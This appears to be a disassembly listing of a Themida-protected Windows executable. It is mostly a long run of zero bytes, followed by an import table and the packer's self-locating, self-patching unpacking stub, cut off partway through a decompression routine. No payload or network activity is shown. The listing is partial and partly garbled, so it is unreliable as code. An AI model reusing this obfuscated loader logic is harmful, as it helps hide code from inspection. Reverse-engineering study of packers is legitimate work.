		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
_rsrc___	ends

; Section 3. (virtual address 000E0000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000E0000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 4E0000h
a7icwCw		db '7¨çwµ\çw',0
		align 4
		dd 77345219h, 4	dup(0)
		dd 0E0050h, 0E0000h, 3 dup(0)
		dd 0E0079h, 0E000Ch, 3 dup(0)
		db 0
byte_4E0049	db 3 dup(0)		; DATA XREF: ___:004385ACo
		align 10h
aKernel32_dll_0	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 000E1000)
; Virtual size			: 000FA000 (1024000.)
; Section size in file		: 000FA000 (1024000.)
; Offset to raw	data for section: 000E1000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
Themida_	segment	para public 'DATA' use32
		assume cs:Themida_
		;org 4E1000h
		dd 43495360h, 41179h, 54140h, 96172h, 0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 004E1265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0054B46B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0054E900 SIZE 00000062 BYTES
; FUNCTION CHUNK AT 0054EB76 SIZE 00000049 BYTES

		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_4E1086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_4E1041
		popa
		jmp	short loc_4E1076
; ---------------------------------------------------------------------------
		db 0DBh, 2Dh, 37h
		dd 0FF004E10h, 0FFFFFFFFh, 3DFFFFFFh
		db 40h
; ---------------------------------------------------------------------------


loc_4E1041:				; CODE XREF: start+18j
		call	$+5
		pop	eax
		and	eax, 0FFFFF000h
		xor	edi, edi


loc_4E104E:				; CODE XREF: start+5Ej
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_4E106D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_4E1074


loc_4E106D:				; CODE XREF: start+45j
		sub	eax, 1000h
		jmp	short loc_4E104E
; ---------------------------------------------------------------------------


loc_4E1074:				; CODE XREF: start+57j
		mov	edi, eax


loc_4E1076:				; CODE XREF: start+1Bj
		jmp	loc_4E1265
; ---------------------------------------------------------------------------
		db 3
		dd 126AB9C7h, 0CF03000Eh
		db 0EBh, 0Ah
; ---------------------------------------------------------------------------


loc_4E1086:				; CODE XREF: start+8j
		mov	eax, offset loc_54B46B
		mov	ecx, offset word_4E126A
		push	eax
		push	ecx
		call	sub_4E111B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_4E1265
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
aUFkxB		db '(“ÉäŠx¼^',0
		dd 63432DA8h, 0F065446Ch, 3ADC23BEh, 759CA4D8h,	3163C78Eh
		dd 93264C98h, 78F2E4C9h, 172F5EBCh, 9122458Bh, 0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh, 1848C86h, 662A4924h
		dd 1799B7DEh, 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh
		dd 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_4E111B	proc near		; CODE XREF: start+7Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h


loc_4E1127:				; CODE XREF: sub_4E111B:loc_4E113Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_4E1132:				; CODE XREF: sub_4E111B+7Aj
					; sub_4E111B+C3j ...
		add	dl, dl
		jnz	short loc_4E113B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


